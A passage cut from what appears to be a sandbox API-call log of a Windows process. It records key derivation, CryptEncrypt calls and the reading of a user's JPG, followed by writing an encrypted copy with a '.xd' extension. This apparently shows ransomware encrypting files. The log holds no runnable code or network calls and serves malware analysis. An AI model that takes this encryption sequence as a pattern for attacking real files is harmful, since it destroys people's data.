cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.406] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.406] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c7f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0062.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.407] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.407] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.407] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.407] CryptDestroyHash (hHash=0x164c7f0) returned 1 [0062.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\42v5xiiejl7_qh.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.408] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.408] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.408] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm")) returned 0x10 [0062.408] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\42v5xiiejl7_qh.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.412] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.412] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x657, lpOverlapped=0x0) returned 1 [0062.413] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.415] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.415] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.415] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.415] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.415] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.415] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.415] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.416] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.416] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.416] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.416] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.417] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.417] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.417] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.417] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.417] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.417] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.417] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.417] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.418] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.418] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x657, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x660) returned 1 [0062.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.419] CharLowerBuffW (in: lpsz="byte[1633]", cchLength=0xa | out: lpsz="byte[1633]") returned 0xa [0062.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.419] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.419] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.419] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.419] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.419] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17cdaa8*, pdwDataLen=0x130e618*=0x657, dwBufLen=0x660 | out: pbData=0x17cdaa8*, pdwDataLen=0x130e618*=0x660) returned 1 [0062.419] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.420] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.420] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.420] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.420] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.420] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.421] WriteFile (in: hFile=0x2ac, lpBuffer=0x17ccde8*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesWritten=0x130f01c*=0x660, lpOverlapped=0x0) returned 1 [0062.422] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.422] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.422] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.422] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.422] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.422] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.422] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.422] CryptDestroyKey (hKey=0x164c870) returned 1 [0062.422] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.423] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.423] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.423] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.423] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.423] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.423] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.424] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.424] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: 